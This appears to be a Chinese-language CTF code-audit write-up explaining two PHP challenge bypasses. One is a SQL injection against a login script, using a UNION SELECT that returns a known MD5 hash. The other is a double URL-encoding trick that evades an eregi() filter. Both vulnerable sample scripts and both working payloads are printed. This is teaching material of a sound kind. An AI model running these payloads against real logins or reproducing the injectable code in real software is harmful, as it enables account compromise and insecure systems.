密碼MD5比較繞過和urldecode二次繞過

一、密碼MD5比較繞過

<?php

//配置數據庫
if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********, "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 

//賦值

$user = $_POST[user];
$pass = md5($_POST[pass]);

//sql語句

// select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 

// ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。


    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");

  }
}
?>

分析這句sql語句可以知道,我們不能直接註釋掉密碼

$sql = "select pw from php where user='$user'";

繼續分析源碼我們可以發現只要讓row[pw]的值與pass經過md5之後的值相等即可,用union select來返回一個已知明文的md5
payload=

' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456`

二、urldecode二次繞過

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

審計源碼

eregi()函數

字符串比對解析,與大小寫無關。
語法: eregi(string pattern, string string, array [regs]);
返回值: 整數/數組
特點:PHP函數eregi()與大小寫無關,類似函數ereg() 則區分大小寫
例:if (eregi(“C”,“abcdef”)   //true

要想得出flag我們即要求id不能等於hackerDJ,又要要求id的urldecode解碼等於id
因此我們需要進行兩次編碼: h --> %68 --> %2568

構造url: index.php?id=%2568ackerDJ

提交即可獲得flag:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章